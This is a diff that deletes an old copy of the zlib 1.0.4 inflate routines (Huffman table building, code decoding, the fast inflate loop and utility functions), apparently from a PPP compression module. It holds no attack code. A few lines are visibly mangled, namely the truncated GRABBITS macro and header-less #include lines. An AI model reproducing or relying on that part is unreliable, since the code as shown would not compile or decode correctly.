copy to output buffer, moving - * pointers as needed. - */ - while (n) { - t = n; /* how many to do */ - /* is there room until end of buffer? */ - if (t > m) t = m; - /* update check information */ - if (s->checkfn != Z_NULL) - s->check = (*s->checkfn)(s->check, q, t); - zmemcpy(q, p, t); - q += t; - p += t; - n -= t; - z->total_out += t; - s->read = q; /* drag read pointer forward */ -/* WWRAP */ /* expand WWRAP macro by hand to handle s->read */ - if (q == s->end) { - s->read = q = s->window; - m = WAVAIL; - } - } - UPDATE - return Z_OK; -} - - -/* - * At the end of a Deflate-compressed PPP packet, we expect to have seen - * a `stored' block type value but not the (zero) length bytes. - */ -int inflate_packet_flush(s) - inflate_blocks_statef *s; -{ - if (s->mode != LENS) - return Z_DATA_ERROR; - s->mode = TYPE; - return Z_OK; -} -/* --- infblock.c */ - -/* +++ inftrees.c */ -/* inftrees.c -- generate Huffman trees for efficient decoding - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "inftrees.h" */ - -char inflate_copyright[] = " inflate 1.0.4 Copyright 1995-1996 Mark Adler "; -/* - If you use the zlib library in a product, an acknowledgment is welcome - in the documentation of your product. If for some reason you cannot - include such an acknowledgment, I would appreciate that you keep this - copyright string in the executable of your product. - */ - -#ifndef NO_DUMMY_DECL -struct internal_state {int dummy;}; /* for buggy compilers */ -#endif - -/* simplify the use of the inflate_huft type with some defines */ -#define base more.Base -#define next more.Next -#define exop word.what.Exop -#define bits word.what.Bits - - -local int huft_build OF(( - uIntf *, /* code lengths in bits */ - uInt, /* number of codes */ - uInt, /* number of "simple" codes */ - const uIntf *, /* list of base values for non-simple codes */ - const uIntf *, /* list of extra bits for non-simple codes */ - inflate_huft * FAR*,/* result: starting table */ - uIntf *, /* maximum lookup bits (returns actual) */ - z_streamp )); /* for zalloc function */ - -local voidpf falloc OF(( - voidpf, /* opaque pointer (not used) */ - uInt, /* number of items */ - uInt)); /* size of item */ - -/* Tables for deflate from PKZIP's appnote.txt. */ -local const uInt cplens[31] = { /* Copy lengths for literal codes 257..285 */ - 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, - 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0}; - /* see note #13 above about 258 */ -local const uInt cplext[31] = { /* Extra bits for literal codes 257..285 */ - 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, - 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 112, 112}; /* 112==invalid */ -local const uInt cpdist[30] = { /* Copy offsets for distance codes 0..29 */ - 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, - 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, - 8193, 12289, 16385, 24577}; -local const uInt cpdext[30] = { /* Extra bits for distance codes */ - 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, - 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, - 12, 12, 13, 13}; - -/* - Huffman code decoding is performed using a multi-level table lookup. - The fastest way to decode is to simply build a lookup table whose - size is determined by the longest code. However, the time it takes - to build this table can also be a factor if the data being decoded - is not very long. The most common codes are necessarily the - shortest codes, so those codes dominate the decoding time, and hence - the speed. The idea is you can have a shorter table that decodes the - shorter, more probable codes, and then point to subsidiary tables for - the longer codes. The time it costs to decode the longer codes is - then traded against the time it takes to make longer tables. - - This results of this trade are in the variables lbits and dbits - below. lbits is the number of bits the first level table for literal/ - length codes can decode in one step, and dbits is the same thing for - the distance codes. Subsequent tables are also less than or equal to - those sizes. These values may be adjusted either when all of the - codes are shorter than that, in which case the longest code length in - bits is used, or when the shortest code is *longer* than the requested - table size, in which case the length of the shortest code in bits is - used. - - There are two different values for the two tables, since they code a - different number of possibilities each. The literal/length table - codes 286 possible values, or in a flat code, a little over eight - bits. The distance table codes 30 possible values, or a little less - than five bits, flat. The optimum values for speed end up being - about one bit more than those, so lbits is 8+1 and dbits is 5+1. - The optimum values may differ though from machine to machine, and - possibly even between compilers. Your mileage may vary. - */ - - -/* If BMAX needs to be larger than 16, then h and x[] should be uLong. */ -#define BMAX 15 /* maximum bit length of any code */ -#define N_MAX 288 /* maximum number of codes in any set */ - -#ifdef DEBUG_ZLIB - uInt inflate_hufts; -#endif - -local int huft_build(b, n, s, d, e, t, m, zs) -uIntf *b; /* code lengths in bits (all assumed <= BMAX) */ -uInt n; /* number of codes (assumed <= N_MAX) */ -uInt s; /* number of simple-valued codes (0..s-1) */ -const uIntf *d; /* list of base values for non-simple codes */ -const uIntf *e; /* list of extra bits for non-simple codes */ -inflate_huft * FAR *t; /* result: starting table */ -uIntf *m; /* maximum lookup bits, returns actual */ -z_streamp zs; /* for zalloc function */ -/* Given a list of code lengths and a maximum table size, make a set of - tables to decode that set of codes. Return Z_OK on success, Z_BUF_ERROR - if the given code set is incomplete (the tables are still built in this - case), Z_DATA_ERROR if the input is invalid (an over-subscribed set of - lengths), or Z_MEM_ERROR if not enough memory. */ -{ - - uInt a; /* counter for codes of length k */ - uInt c[BMAX+1]; /* bit length count table */ - uInt f; /* i repeats in table every f entries */ - int g; /* maximum code length */ - int h; /* table level */ - register uInt i; /* counter, current code */ - register uInt j; /* counter */ - register int k; /* number of bits in current code */ - int l; /* bits per table (returned in m) */ - register uIntf *p; /* pointer into c[], b[], or v[] */ - inflate_huft *q; /* points to current table */ - struct inflate_huft_s r; /* table entry for structure assignment */ - inflate_huft *u[BMAX]; /* table stack */ - uInt v[N_MAX]; /* values in order of bit length */ - register int w; /* bits before this table == (l * h) */ - uInt x[BMAX+1]; /* bit offsets, then code stack */ - uIntf *xp; /* pointer into x */ - int y; /* number of dummy codes added */ - uInt z; /* number of entries in current table */ - - - /* Generate counts for each bit length */ - p = c; -#define C0 *p++ = 0; -#define C2 C0 C0 C0 C0 -#define C4 C2 C2 C2 C2 - C4 /* clear c[]--assume BMAX+1 is 16 */ - p = b; i = n; - do { - c[*p++]++; /* assume all entries <= BMAX */ - } while (--i); - if (c[0] == n) /* null input--all zero length codes */ - { - *t = (inflate_huft *)Z_NULL; - *m = 0; - return Z_OK; - } - - - /* Find minimum and maximum length, bound *m by those */ - l = *m; - for (j = 1; j <= BMAX; j++) - if (c[j]) - break; - k = j; /* minimum code length */ - if ((uInt)l < j) - l = j; - for (i = BMAX; i; i--) - if (c[i]) - break; - g = i; /* maximum code length */ - if ((uInt)l > i) - l = i; - *m = l; - - - /* Adjust last length count to fill out codes, if needed */ - for (y = 1 << j; j < i; j++, y <<= 1) - if ((y -= c[j]) < 0) - return Z_DATA_ERROR; - if ((y -= c[i]) < 0) - return Z_DATA_ERROR; - c[i] += y; - - - /* Generate starting offsets into the value table for each length */ - x[1] = j = 0; - p = c + 1; xp = x + 2; - while (--i) { /* note that i == g from above */ - *xp++ = (j += *p++); - } - - - /* Make a table of values in order of bit lengths */ - p = b; i = 0; - do { - if ((j = *p++) != 0) - v[x[j]++] = i; - } while (++i < n); - n = x[g]; /* set n to length of v */ - - - /* Generate the Huffman codes and for each, make the table entries */ - x[0] = i = 0; /* first Huffman code is zero */ - p = v; /* grab values in bit order */ - h = -1; /* no tables yet--level -1 */ - w = -l; /* bits decoded == (l * h) */ - u[0] = (inflate_huft *)Z_NULL; /* just to keep compilers happy */ - q = (inflate_huft *)Z_NULL; /* ditto */ - z = 0; /* ditto */ - - /* go through the bit lengths (k already is bits in shortest code) */ - for (; k <= g; k++) - { - a = c[k]; - while (a--) - { - /* here i is the Huffman code of length k bits for value *p */ - /* make tables up to required level */ - while (k > w + l) - { - h++; - w += l; /* previous table always l bits */ - - /* compute minimum size table less than or equal to l bits */ - z = g - w; - z = z > (uInt)l ? l : z; /* table size upper limit */ - if ((f = 1 << (j = k - w)) > a + 1) /* try a k-w bit table */ - { /* too few codes for k-w bit table */ - f -= a + 1; /* deduct codes from patterns left */ - xp = c + k; - if (j < z) - while (++j < z) /* try smaller tables up to z bits */ - { - if ((f <<= 1) <= *++xp) - break; /* enough codes to use up j bits */ - f -= *xp; /* else deduct codes from patterns */ - } - } - z = 1 << j; /* table entries for j-bit table */ - - /* allocate and link in new table */ - if ((q = (inflate_huft *)ZALLOC - (zs,z + 1,sizeof(inflate_huft))) == Z_NULL) - { - if (h) - inflate_trees_free(u[0], zs); - return Z_MEM_ERROR; /* not enough memory */ - } -#ifdef DEBUG_ZLIB - inflate_hufts += z + 1; -#endif - *t = q + 1; /* link to list for huft_free() */ - *(t = &(q->next)) = Z_NULL; - u[h] = ++q; /* table starts after link */ - - /* connect to last table, if there is one */ - if (h) - { - x[h] = i; /* save pattern for backing up */ - r.bits = (Byte)l; /* bits to dump before this table */ - r.exop = (Byte)j; /* bits in this table */ - r.next = q; /* pointer to this table */ - j = i >> (w - l); /* (get around Turbo C bug) */ - u[h-1][j] = r; /* connect to last table */ - } - } - - /* set up table entry in r */ - r.bits = (Byte)(k - w); - if (p >= v + n) - r.exop = 128 + 64; /* out of values--invalid code */ - else if (*p < s) - { - r.exop = (Byte)(*p < 256 ? 0 : 32 + 64); /* 256 is end-of-block */ - r.base = *p++; /* simple code is just the value */ - } - else - { - r.exop = (Byte)(e[*p - s] + 16 + 64);/* non-simple--look up in lists */ - r.base = d[*p++ - s]; - } - - /* fill code-like entries with r */ - f = 1 << (k - w); - for (j = i >> w; j < z; j += f) - q[j] = r; - - /* backwards increment the k-bit code i */ - for (j = 1 << (k - 1); i & j; j >>= 1) - i ^= j; - i ^= j; - - /* backup over finished tables */ - while ((i & ((1 << w) - 1)) != x[h]) - { - h--; /* don't need to update q */ - w -= l; - } - } - } - - - /* Return Z_BUF_ERROR if we were given an incomplete table */ - return y != 0 && g != 1 ? Z_BUF_ERROR : Z_OK; -} - - -int inflate_trees_bits(c, bb, tb, z) -uIntf *c; /* 19 code lengths */ -uIntf *bb; /* bits tree desired/actual depth */ -inflate_huft * FAR *tb; /* bits tree result */ -z_streamp z; /* for zfree function */ -{ - int r; - - r = huft_build(c, 19, 19, (uIntf*)Z_NULL, (uIntf*)Z_NULL, tb, bb, z); - if (r == Z_DATA_ERROR) - z->msg = (char*)"oversubscribed dynamic bit lengths tree"; - else if (r == Z_BUF_ERROR || *bb == 0) - { - inflate_trees_free(*tb, z); - z->msg = (char*)"incomplete dynamic bit lengths tree"; - r = Z_DATA_ERROR; - } - return r; -} - - -int inflate_trees_dynamic(nl, nd, c, bl, bd, tl, td, z) -uInt nl; /* number of literal/length codes */ -uInt nd; /* number of distance codes */ -uIntf *c; /* that many (total) code lengths */ -uIntf *bl; /* literal desired/actual bit depth */ -uIntf *bd; /* distance desired/actual bit depth */ -inflate_huft * FAR *tl; /* literal/length tree result */ -inflate_huft * FAR *td; /* distance tree result */ -z_streamp z; /* for zfree function */ -{ - int r; - - /* build literal/length tree */ - r = huft_build(c, nl, 257, cplens, cplext, tl, bl, z); - if (r != Z_OK || *bl == 0) - { - if (r == Z_DATA_ERROR) - z->msg = (char*)"oversubscribed literal/length tree"; - else if (r != Z_MEM_ERROR) - { - inflate_trees_free(*tl, z); - z->msg = (char*)"incomplete literal/length tree"; - r = Z_DATA_ERROR; - } - return r; - } - - /* build distance tree */ - r = huft_build(c + nl, nd, 0, cpdist, cpdext, td, bd, z); - if (r != Z_OK || (*bd == 0 && nl > 257)) - { - if (r == Z_DATA_ERROR) - z->msg = (char*)"oversubscribed distance tree"; - else if (r == Z_BUF_ERROR) { -#ifdef PKZIP_BUG_WORKAROUND - r = Z_OK; - } -#else - inflate_trees_free(*td, z); - z->msg = (char*)"incomplete distance tree"; - r = Z_DATA_ERROR; - } - else if (r != Z_MEM_ERROR) - { - z->msg = (char*)"empty distance tree with lengths"; - r = Z_DATA_ERROR; - } - inflate_trees_free(*tl, z); - return r; -#endif - } - - /* done */ - return Z_OK; -} - - -/* build fixed tables only once--keep them here */ -local int fixed_built = 0; -#define FIXEDH 530 /* number of hufts used by fixed tables */ -local inflate_huft fixed_mem[FIXEDH]; -local uInt fixed_bl; -local uInt fixed_bd; -local inflate_huft *fixed_tl; -local inflate_huft *fixed_td; - - -local voidpf falloc(q, n, s) -voidpf q; /* opaque pointer */ -uInt n; /* number of items */ -uInt s; /* size of item */ -{ - Assert(s == sizeof(inflate_huft) && n <= *(intf *)q, - "inflate_trees falloc overflow"); - *(intf *)q -= n+s-s; /* s-s to avoid warning */ - return (voidpf)(fixed_mem + *(intf *)q); -} - - -int inflate_trees_fixed(bl, bd, tl, td) -uIntf *bl; /* literal desired/actual bit depth */ -uIntf *bd; /* distance desired/actual bit depth */ -inflate_huft * FAR *tl; /* literal/length tree result */ -inflate_huft * FAR *td; /* distance tree result */ -{ - /* build fixed tables if not already (multiple overlapped executions ok) */ - if (!fixed_built) - { - int k; /* temporary variable */ - unsigned c[288]; /* length list for huft_build */ - z_stream z; /* for falloc function */ - int f = FIXEDH; /* number of hufts left in fixed_mem */ - - /* set up fake z_stream for memory routines */ - z.zalloc = falloc; - z.zfree = Z_NULL; - z.opaque = (voidpf)&f; - - /* literal table */ - for (k = 0; k < 144; k++) - c[k] = 8; - for (; k < 256; k++) - c[k] = 9; - for (; k < 280; k++) - c[k] = 7; - for (; k < 288; k++) - c[k] = 8; - fixed_bl = 7; - huft_build(c, 288, 257, cplens, cplext, &fixed_tl, &fixed_bl, &z); - - /* distance table */ - for (k = 0; k < 30; k++) - c[k] = 5; - fixed_bd = 5; - huft_build(c, 30, 0, cpdist, cpdext, &fixed_td, &fixed_bd, &z); - - /* done */ - Assert(f == 0, "invalid build of fixed tables"); - fixed_built = 1; - } - *bl = fixed_bl; - *bd = fixed_bd; - *tl = fixed_tl; - *td = fixed_td; - return Z_OK; -} - - -int inflate_trees_free(t, z) -inflate_huft *t; /* table to free */ -z_streamp z; /* for zfree function */ -/* Free the malloc'ed tables built by huft_build(), which makes a linked - list of the tables it made, with the links in a dummy first entry of - each table. */ -{ - register inflate_huft *p, *q, *r; - - /* Reverse linked list */ - p = Z_NULL; - q = t; - while (q != Z_NULL) - { - r = (q - 1)->next; - (q - 1)->next = p; - p = q; - q = r; - } - /* Go through linked list, freeing from the malloced (t[-1]) address. */ - while (p != Z_NULL) - { - q = (--p)->next; - ZFREE(z,p); - p = q; - } - return Z_OK; -} -/* --- inftrees.c */ - -/* +++ infcodes.c */ -/* infcodes.c -- process literals and length/distance pairs - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "inftrees.h" */ -/* #include "infblock.h" */ -/* #include "infcodes.h" */ -/* #include "infutil.h" */ - -/* +++ inffast.h */ -/* inffast.h -- header to use inffast.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -extern int inflate_fast OF(( - uInt, - uInt, - inflate_huft *, - inflate_huft *, - inflate_blocks_statef *, - z_streamp )); -/* --- inffast.h */ - -/* simplify the use of the inflate_huft type with some defines */ -#define base more.Base -#define next more.Next -#define exop word.what.Exop -#define bits word.what.Bits - -/* inflate codes private state */ -struct inflate_codes_state { - - /* mode */ - enum { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ - START, /* x: set up for LEN */ - LEN, /* i: get length/literal/eob next */ - LENEXT, /* i: getting length extra (have base) */ - DIST, /* i: get distance next */ - DISTEXT, /* i: getting distance extra */ - COPY, /* o: copying bytes in window, waiting for space */ - LIT, /* o: got literal, waiting for output space */ - WASH, /* o: got eob, possibly still output waiting */ - END, /* x: got eob and all data flushed */ - BADCODE} /* x: got error */ - mode; /* current inflate_codes mode */ - - /* mode dependent information */ - uInt len; - union { - struct { - inflate_huft *tree; /* pointer into tree */ - uInt need; /* bits needed */ - } code; /* if LEN or DIST, where in tree */ - uInt lit; /* if LIT, literal */ - struct { - uInt get; /* bits to get for extra */ - uInt dist; /* distance back to copy from */ - } copy; /* if EXT or COPY, where and how much */ - } sub; /* submode */ - - /* mode independent information */ - Byte lbits; /* ltree bits decoded per branch */ - Byte dbits; /* dtree bits decoder per branch */ - inflate_huft *ltree; /* literal/length/eob tree */ - inflate_huft *dtree; /* distance tree */ - -}; - - -inflate_codes_statef *inflate_codes_new(bl, bd, tl, td, z) -uInt bl, bd; -inflate_huft *tl; -inflate_huft *td; /* need separate declaration for Borland C++ */ -z_streamp z; -{ - inflate_codes_statef *c; - - if ((c = (inflate_codes_statef *) - ZALLOC(z,1,sizeof(struct inflate_codes_state))) != Z_NULL) - { - c->mode = START; - c->lbits = (Byte)bl; - c->dbits = (Byte)bd; - c->ltree = tl; - c->dtree = td; - Tracev((stderr, "inflate: codes new\n")); - } - return c; -} - - -int inflate_codes(s, z, r) -inflate_blocks_statef *s; -z_streamp z; -int r; -{ - uInt j; /* temporary storage */ - inflate_huft *t; /* temporary pointer */ - uInt e; /* extra bits or operation */ - uLong b; /* bit buffer */ - uInt k; /* bits in bit buffer */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - Bytef *f; /* pointer to copy strings from */ - inflate_codes_statef *c = s->sub.decode.codes; /* codes state */ - - /* copy input/output information to locals (UPDATE macro restores) */ - LOAD - - /* process input and output based on current state */ - while (1) switch (c->mode) - { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ - case START: /* x: set up for LEN */ -#ifndef SLOW - if (m >= 258 && n >= 10) - { - UPDATE - r = inflate_fast(c->lbits, c->dbits, c->ltree, c->dtree, s, z); - LOAD - if (r != Z_OK) - { - c->mode = r == Z_STREAM_END ? WASH : BADCODE; - break; - } - } -#endif /* !SLOW */ - c->sub.code.need = c->lbits; - c->sub.code.tree = c->ltree; - c->mode = LEN; - case LEN: /* i: get length/literal/eob next */ - j = c->sub.code.need; - NEEDBITS(j) - t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); - DUMPBITS(t->bits) - e = (uInt)(t->exop); - if (e == 0) /* literal */ - { - c->sub.lit = t->base; - Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? - "inflate: literal '%c'\n" : - "inflate: literal 0x%02x\n", t->base)); - c->mode = LIT; - break; - } - if (e & 16) /* length */ - { - c->sub.copy.get = e & 15; - c->len = t->base; - c->mode = LENEXT; - break; - } - if ((e & 64) == 0) /* next table */ - { - c->sub.code.need = e; - c->sub.code.tree = t->next; - break; - } - if (e & 32) /* end of block */ - { - Tracevv((stderr, "inflate: end of block\n")); - c->mode = WASH; - break; - } - c->mode = BADCODE; /* invalid code */ - z->msg = (char*)"invalid literal/length code"; - r = Z_DATA_ERROR; - LEAVE - case LENEXT: /* i: getting length extra (have base) */ - j = c->sub.copy.get; - NEEDBITS(j) - c->len += (uInt)b & inflate_mask[j]; - DUMPBITS(j) - c->sub.code.need = c->dbits; - c->sub.code.tree = c->dtree; - Tracevv((stderr, "inflate: length %u\n", c->len)); - c->mode = DIST; - case DIST: /* i: get distance next */ - j = c->sub.code.need; - NEEDBITS(j) - t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); - DUMPBITS(t->bits) - e = (uInt)(t->exop); - if (e & 16) /* distance */ - { - c->sub.copy.get = e & 15; - c->sub.copy.dist = t->base; - c->mode = DISTEXT; - break; - } - if ((e & 64) == 0) /* next table */ - { - c->sub.code.need = e; - c->sub.code.tree = t->next; - break; - } - c->mode = BADCODE; /* invalid code */ - z->msg = (char*)"invalid distance code"; - r = Z_DATA_ERROR; - LEAVE - case DISTEXT: /* i: getting distance extra */ - j = c->sub.copy.get; - NEEDBITS(j) - c->sub.copy.dist += (uInt)b & inflate_mask[j]; - DUMPBITS(j) - Tracevv((stderr, "inflate: distance %u\n", c->sub.copy.dist)); - c->mode = COPY; - case COPY: /* o: copying bytes in window, waiting for space */ -#ifndef __TURBOC__ /* Turbo C bug for following expression */ - f = (uInt)(q - s->window) < c->sub.copy.dist ? - s->end - (c->sub.copy.dist - (q - s->window)) : - q - c->sub.copy.dist; -#else - f = q - c->sub.copy.dist; - if ((uInt)(q - s->window) < c->sub.copy.dist) - f = s->end - (c->sub.copy.dist - (uInt)(q - s->window)); -#endif - while (c->len) - { - NEEDOUT - OUTBYTE(*f++) - if (f == s->end) - f = s->window; - c->len--; - } - c->mode = START; - break; - case LIT: /* o: got literal, waiting for output space */ - NEEDOUT - OUTBYTE(c->sub.lit) - c->mode = START; - break; - case WASH: /* o: got eob, possibly more output */ - FLUSH - if (s->read != s->write) - LEAVE - c->mode = END; - case END: - r = Z_STREAM_END; - LEAVE - case BADCODE: /* x: got error */ - r = Z_DATA_ERROR; - LEAVE - default: - r = Z_STREAM_ERROR; - LEAVE - } -} - - -void inflate_codes_free(c, z) -inflate_codes_statef *c; -z_streamp z; -{ - ZFREE(z, c); - Tracev((stderr, "inflate: codes free\n")); -} -/* --- infcodes.c */ - -/* +++ infutil.c */ -/* inflate_util.c -- data and routines common to blocks and codes - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "infblock.h" */ -/* #include "inftrees.h" */ -/* #include "infcodes.h" */ -/* #include "infutil.h" */ - -#ifndef NO_DUMMY_DECL -struct inflate_codes_state {int dummy;}; /* for buggy compilers */ -#endif - -/* And'ing with mask[n] masks the lower n bits */ -uInt inflate_mask[17] = { - 0x0000, - 0x0001, 0x0003, 0x0007, 0x000f, 0x001f, 0x003f, 0x007f, 0x00ff, - 0x01ff, 0x03ff, 0x07ff, 0x0fff, 0x1fff, 0x3fff, 0x7fff, 0xffff -}; - - -/* copy as much as possible from the sliding window to the output area */ -int inflate_flush(s, z, r) -inflate_blocks_statef *s; -z_streamp z; -int r; -{ - uInt n; - Bytef *p; - Bytef *q; - - /* local copies of source and destination pointers */ - p = z->next_out; - q = s->read; - - /* compute number of bytes to copy as far as end of window */ - n = (uInt)((q <= s->write ? s->write : s->end) - q); - if (n > z->avail_out) n = z->avail_out; - if (n && r == Z_BUF_ERROR) r = Z_OK; - - /* update counters */ - z->avail_out -= n; - z->total_out += n; - - /* update check information */ - if (s->checkfn != Z_NULL) - z->adler = s->check = (*s->checkfn)(s->check, q, n); - - /* copy as far as end of window */ - if (p != Z_NULL) { - zmemcpy(p, q, n); - p += n; - } - q += n; - - /* see if more to copy at beginning of window */ - if (q == s->end) - { - /* wrap pointers */ - q = s->window; - if (s->write == s->end) - s->write = s->window; - - /* compute bytes to copy */ - n = (uInt)(s->write - q); - if (n > z->avail_out) n = z->avail_out; - if (n && r == Z_BUF_ERROR) r = Z_OK; - - /* update counters */ - z->avail_out -= n; - z->total_out += n; - - /* update check information */ - if (s->checkfn != Z_NULL) - z->adler = s->check = (*s->checkfn)(s->check, q, n); - - /* copy */ - if (p != Z_NULL) { - zmemcpy(p, q, n); - p += n; - } - q += n; - } - - /* update pointers */ - z->next_out = p; - s->read = q; - - /* done */ - return r; -} -/* --- infutil.c */ - -/* +++ inffast.c */ -/* inffast.c -- process literals and length/distance pairs fast - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "inftrees.h" */ -/* #include "infblock.h" */ -/* #include "infcodes.h" */ -/* #include "infutil.h" */ -/* #include "inffast.h" */ - -#ifndef NO_DUMMY_DECL -struct inflate_codes_state {int dummy;}; /* for buggy compilers */ -#endif - -/* simplify the use of the inflate_huft type with some defines */ -#define base more.Base -#define next more.Next -#define exop word.what.Exop -#define bits word.what.Bits - -/* macros for bit input with no checking and for returning unused bytes */ -#define GRABBITS(j) {while(k<(j)){b|=((uLong)NEXTBYTE)<>3);p-=c;k&=7;} - -/* Called with number of bytes left to write in window at least 258 - (the maximum string length) and number of input bytes available - at least ten. The ten bytes are six bytes for the longest length/ - distance pair plus four bytes for overloading the bit buffer. */ - -int inflate_fast(bl, bd, tl, td, s, z) -uInt bl, bd; -inflate_huft *tl; -inflate_huft *td; /* need separate declaration for Borland C++ */ -inflate_blocks_statef *s; -z_streamp z; -{ - inflate_huft *t; /* temporary pointer */ - uInt e; /* extra bits or operation */ - uLong b; /* bit buffer */ - uInt k; /* bits in bit buffer */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - uInt ml; /* mask for literal/length tree */ - uInt md; /* mask for distance tree */ - uInt c; /* bytes to copy */ - uInt d; /* distance back to copy from */ - Bytef *r; /* copy source pointer */ - - /* load input, output, bit values */ - LOAD - - /* initialize masks */ - ml = inflate_mask[bl]; - md = inflate_mask[bd]; - - /* do until not enough input or output space for fast loop */ - do { /* assume called with m >= 258 && n >= 10 */ - /* get literal/length code */ - GRABBITS(20) /* max bits for literal/length code */ - if ((e = (t = tl + ((uInt)b & ml))->exop) == 0) - { - DUMPBITS(t->bits) - Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? - "inflate: * literal '%c'\n" : - "inflate: * literal 0x%02x\n", t->base)); - *q++ = (Byte)t->base; - m--; - continue; - } - do { - DUMPBITS(t->bits) - if (e & 16) - { - /* get extra bits for length */ - e &= 15; - c = t->base + ((uInt)b & inflate_mask[e]); - DUMPBITS(e) - Tracevv((stderr, "inflate: * length %u\n", c)); - - /* decode distance base of block to copy */ - GRABBITS(15); /* max bits for distance code */ - e = (t = td + ((uInt)b & md))->exop; - do { - DUMPBITS(t->bits) - if (e & 16) - { - /* get extra bits to add to distance base */ - e &= 15; - GRABBITS(e) /* get extra bits (up to 13) */ - d = t->base + ((uInt)b & inflate_mask[e]); - DUMPBITS(e) - Tracevv((stderr, "inflate: * distance %u\n", d)); - - /* do the copy */ - m -= c; - if ((uInt)(q - s->window) >= d) /* offset before dest */ - { /* just copy */ - r = q - d; - *q++ = *r++; c--; /* minimum count is three, */ - *q++ = *r++; c--; /* so unroll loop a little */ - } - else /* else offset after destination */ - { - e = d - (uInt)(q - s->window); /* bytes from offset to end */ - r = s->end - e; /* pointer to offset */ - if (c > e) /* if source crosses, */ - { - c -= e; /* copy to end of window */ - do { - *q++ = *r++; - } while (--e); - r = s->window; /* copy rest from start of window */ - } - } - do { /* copy all or what's left */ - *q++ = *r++; - } while (--c); - break; - } - else if ((e & 64) == 0) - e = (t = t->next + ((uInt)b & inflate_mask[e]))->exop; - else - { - z->msg = (char*)"invalid distance code"; - UNGRAB - UPDATE - return Z_DATA_ERROR; - } - } while (1); - break; - } - if ((e & 64) == 0) - { - if ((e = (t = t->next + ((uInt)b & inflate_mask[e]))->exop) == 0) - { - DUMPBITS(t->bits) - Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? - "inflate: * literal '%c'\n" : - "inflate: * literal 0x%02x\n", t->base)); - *q++ = (Byte)t->base; - m--; - break; - } - } - else if (e & 32) - { - Tracevv((stderr, "inflate: * end of block\n")); - UNGRAB - UPDATE - return Z_STREAM_END; - } - else - { - z->msg = (char*)"invalid literal/length code"; - UNGRAB - UPDATE - return Z_DATA_ERROR; - } - } while (1); - } while (m >= 258 && n >= 10); - - /* not enough input or output--restore pointers and return */ - UNGRAB - UPDATE - return Z_OK; -} -/* --- inffast.c */ - -/* +++ zutil.c */ -/* zutil.c -- target dependent utility functions for the compression library - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* From: zutil.c,v 1.17 1996/07/24 13:41:12 me Exp $ */ - -#ifdef DEBUG_ZLIB -#include -#endif - -/* #include "zutil.h" */ - -#ifndef NO_DUMMY_DECL -struct internal_state {int dummy;}; /* for buggy compilers */ -#endif - -#ifndef STDC -extern void exit OF((int)); -#endif - -static const char *z_errmsg[10] = { -"need dictionary", /* Z_NEED_DICT 2 */ -"stream end", /* Z_STREAM_END 1 */ -"", /* Z_OK 0 */ -"file error", /* Z_ERRNO (-1) */ -"stream error", /* Z_STREAM_ERROR (-2) */ -"data error", /* Z_DATA_ERROR (-3) */ -"insufficient memory", /* Z_MEM_ERROR (-4) */ -"buffer error", /* Z_BUF_ERROR (-5) */ -"incompatible version",/* Z_VERSION_ERROR (-6) */ -""}; - - -const char *zlibVersion() -{ - return ZLIB_VERSION; -} - -#ifdef DEBUG_ZLIB -void z_error (m) - char *m; -{ - fprintf(stderr, "%s\n", m); - exit(1); -} -#endif - -#ifndef HAVE_MEMCPY - -void zmemcpy(dest, source, len) - Bytef* dest; - Bytef* source; - uInt len; -{ - if (len == 0) return; - do { - *dest++ = *source++; /* ??? to be unrolled */ - } while (--len != 0); -} - -int zmemcmp(s1, s2, len) - Bytef* s1; - Bytef* s2; - uInt len; -{ - uInt j; - - for (j = 0; j < len; j++) { - if (s1[j] != s2[j]) return 2*(s1[j] > s2[j])-1; - } - return 0; -} - -void zmemzero(dest, len) - Bytef* dest; - uInt len; -{ - if (len == 0) return; - do { - *dest++ = 0; /* ??? to be unrolled */ - } while (--len != 0); -} -#endif - -#ifdef __TURBOC__ -#if (defined( __BORLANDC__) || !defined(SMALL_MEDIUM)) && !defined(__32BIT__) -/* Small and medium model in Turbo C are for now limited to near allocation - * with reduced MAX_WBITS and MAX_MEM_LEVEL - */ -# define MY_ZCALLOC - -/* Turbo C malloc() does not allow dynamic allocation of 64K bytes - * and farmalloc(64K) returns a pointer with an offset of 8, so we - * must fix the pointer. Warning: the pointer must be put back to its - * original form in order to free it, use zcfree(). - */ - -#define MAX_PTR 10 -/* 10*64K = 640K */ - -local int next_ptr = 0; - -typedef struct ptr_table_s { - voidpf org_ptr; - voidpf new_ptr; -} ptr_table; - -local ptr_table 